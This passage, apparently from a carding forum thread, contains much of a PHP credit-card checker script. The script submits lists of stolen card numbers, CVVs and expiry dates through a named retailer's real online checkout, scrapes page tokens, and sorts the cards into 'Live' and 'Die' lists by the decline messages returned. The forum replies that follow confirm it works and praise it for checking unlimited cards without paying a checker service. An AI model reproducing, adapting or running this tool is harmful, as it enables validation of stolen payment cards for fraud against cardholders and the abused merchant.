cj0iMCI%2BPC9hPjwvdGQ%2BPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI%2BPGEgaHJlZj0icC0xNzEwLWFub2ludGVkLWZpZ2h0ZXIuYXNweCI%2BPGI%2BQW5vaW50ZWQgRmlnaHRlcjwvYj48L2E%2BPGJyLz5TS1U6IFNXQzExMzA8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiB2YWxpZ249InRvcCI%2BPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iUXVhbnRpdHlfMTIxNDQ5IiBpZD0iUXVhbnRpdHlfMTIxNDQ5IiB2YWx1ZT0iMSI%2BMTwvdGQ%2BPHRkIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiPiQxOS45OTwvdGQ%2BPC90cj48L3RhYmxlPjxici8%2BPC90ZD48L3RyPgo8L3RhYmxlPgo8L3RkPjwvdHI%2BCjwvdGFibGU%2BCjxkaXYgYWxpZ249InJpZ2h0Ij48dGFibGUgd2lkdGg9IjEwMCUiPjx0cj48dGQgYWxpZ249InJpZ2h0IiB3aWR0aD0iMTAwJSI%2BU3ViIFRvdGFsOiZuYnNwOzwvdGQ%2BPHRkIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiPjxub2JyPiQxOS45OTwvbm9icj48L3RkPjwvdHI%2BPC90YWJsZT48L2Rpdj48L2Rpdj5kZMrNPbvSongWFthUemEK3xBrw4Th&__EVENTVALIDATION=%2FwEWAgLWuMnqBQL4xP21DUS2Ly1ZMB9dNoVU2M6E%2FgPYbKdA&ShippingMethodID=43%7CFirst-Class+Mail%7C5.28%7C0.00&RequireShippingSelection=true&btnContinueCheckout=Select+Shipping+Method", $cookie);


}

function check($ccn, $ccv, $expm, $expy, $cookie, $pg)
{   

    $type = substr($ccn, 0, 1);
    if ($type == 4) {
        $cctype = "VISA";
    } elseif ($type == 5) {
        $cctype = "MasterCard";
    } elseif ($type == 3) {
        $cctype = "AMEX";
    } elseif ($type == 6) {
        $cctype = "DISCOVER";
    } else {
        return 3;
    }
    if (strlen($expm) == 1) {
        $expm = "0" . $expm;
    }
    if (strlen($expy) == 4) {
        $expy = substr($expy, 2, 4);
    }
    $expy = "20".$expy;

     $url = "https://shop.kerusso.com/checkoutpayment.aspx?paymentmethod=CREDIT+CARD";
     $data = "CardName=Stephanie+Franklin&CardName_vldt=%5Breq%5D%5Bblankalert%3DPlease+enter+the+name+on+the+credit+card%5D&CardNumber=".$ccn."&CardNumber_vldt=%5Breq%5D%5Blen%3D8%5D%5Bblankalert%3DPlease+enter+credit+card+number+with+no+spaces%5D%5Binvalidalert%3DPlease+enter+a+valid+credit+card+number%5D&CardExtraCode=".$ccv."&CardExtraCode_vldt=%5Breq%5D%5Blen%3D3%5D%5Bblankalert%3DPlease+enter+the+credit+card+verification+code+with+no+spaces.+This+number+can+be+found+printed+on+the+back+side+of+your+card%5D%5Binvalidalert%3DPlease+enter+a+valid+credit+card+validation+code%5D&CardType=".$cctype."&CardExpirationMonth=".$expm."&CardExpirationYear=$expy";

     $check = curl($url, $data, $cookie);

    if(preg_match('#__VIEWSTATE\" value=\"(.*?)\" />#is',$check,$out))
{
                        if($out){
                                $KQ=urlencode($out[1]);

                                        }
}
    
    if(preg_match('#__EVENTVALIDATION\" value=\"(.*?)\" />#is',$check,$out_1))
{
                        if($out){
                                $KQ1=urlencode($out_1[1]);

                                        }
}



    $check = curl("https://shop.kerusso.com/checkoutreview.aspx?paymentmethod=CREDIT+CARD","__EVENTTARGET=btnContinueCheckout2&__EVENTARGUMENT=&__VIEWSTATE=".$KQ."&__EVENTVALIDATION=".$KQ1."&Quantity_121469=1", $cookie);

    // Echo $check;
    // Exit();
    /**
     * End check
     *           
     */   
    if (stristr($check,"The transaction has been declined because of an AVS mismatch.")) {
      return 1; //Live
    } elseif (stristr($check,"This transaction has been declined.")) {  
        return 0; //Die
    } elseif (stristr($check,"The credit card number is invalid")||stristr($check,"The credit card has expired.")) {  
        return 2; //Invaild 
    } elseif (stristr($check,"Order Declined, Please Contact Customer Service")) {  
        return 2; //Can't Check
    } else
        return 3; //Unknow
    }
    /**
     * End check
     * 
     */

if (!empty($_POST['data'])) {
    
    $cookie = tempnam('cookie','COOKIE'.rand(00000000,99999999));

    $data = explode("\r\n", $_POST['data']);

    $n = count($data);

    $start  = begin($user,$pass, $cookie);

    echo "<div id=show>";
    for ($i = 0; $i < $n; $i++) {
 
if($_POST['kind']=='auto'){
        $k = $i + 1;
        $info = info($data[$i]);
        $ccn = $info['num'];
        $ccv = $info['cvv'];
        $expm = $info['mon'];
        $expy = $info['year'];
                        }
elseif($_POST['kind']=='non'){
        $k = $i + 1;
    $ccc = explode($_POST['kitu'],$data[$i]);
    $ccn = trim($ccc[$_POST['num']]);
    $ccv = trim($ccc[$_POST['cvv']]);
    $expm = trim($ccc[$_POST['mon']]);
    $expy = trim($ccc[$_POST['year']]);
                             }     
        #echo "CCN : $ccn | EXPM : $expm | EXPY : $expy";
        if ($ccn != '') {
            $result = check($ccn, $ccv, $expm, $expy, $cookie, $_POST['pg']);
            if ($result == 1) {
                $live[] = $data[$i];
                echo "<p><font color=#ffffff><b>$k </b></font><font color=#00FF00>Live => $data[$i] ==> Checked By NBG <font color=#ff00ff>(CCN : $ccn | CV2 : $ccv | EXPM : $expm | EXPY : $expy)</font></p>";
            } elseif ($result == 0) {
                $die[] = $data[$i];
                echo "<p><font color=#ffffff><b>$k </b></font><font color=red>Die => $data[$i] ==> Checked By NBG <font color=#ff00ff>(CCN : $ccn | CV2 : $ccv | EXPM : $expm | EXPY : $expy)</font></p>";
            } elseif ($result == 2) {
                echo "<p><font color=#ffffff><b>$k </b></font><font color=purple>Can't Check <font color=red>(Error)</font> => $data[$i] ==> Checked By NBG <font color=#ff00ff>(CCN : $ccn | CV2 : $ccv | EXPM : $expm | EXPY : $expy)</font></p>";
                for($i=$k-1; $i<$n; $i++){
                $ccverror[] = $data[$i];
                                         }
            } elseif ($result == 3) {
                $error[] = $data[$i];
                echo "<p><font color=#ffffff><b>$k </b></font><font color=yellow>Unknow => $data[$i] ==> Checked By NBG <font color=#ff00ff>(CCN : $ccn | CV2 : $ccv | EXPM : $expm | EXPY : $expy)</font></p>";
            }
            ob_flush();
            flush();
        }

    }
    echo "</div>";
    
    if (!empty($live)) {
        echo "<fieldset><legend><font color=green>Live</font></legend><textarea>";
        foreach ($live as $value) {
            echo $value . "\n";
        }
        echo "</textarea></fieldset>";

    }
    if (!empty($die)) {
        echo "<fieldset><legend><font color=red>Die</font></legend><textarea>";
        foreach ($die as $value) {
            echo $value . "\n";
        }
        echo "</textarea></fieldset>";
    }
    if (!empty($ccverror)) {
        echo "<fieldset><legend><font color=pink>CVV Uncheck</font></legend><textarea>";
        foreach ($ccverror as $value) {
            echo $value . "\n";
        }
        echo "</textarea></fieldset>";

    }
    if (!empty($error)) {
        echo "<fieldset><legend><font color=yellow>Unknow</font></legend><textarea>";
        foreach ($error as $value) {
            echo $value . "\n";
        }
        echo "</textarea></fieldset>";

    }
    

}
?>

</div>
</div>
</body>
</html>
 
попробовал , нужно додеывать под себя - доделал . актуально
 
And waht is advantages in this script? I need to rewrite most part of the code - more easier, to write new checker

1. u dont need to use checker service and waste ur money

2. u can check unlimited cc
 
Top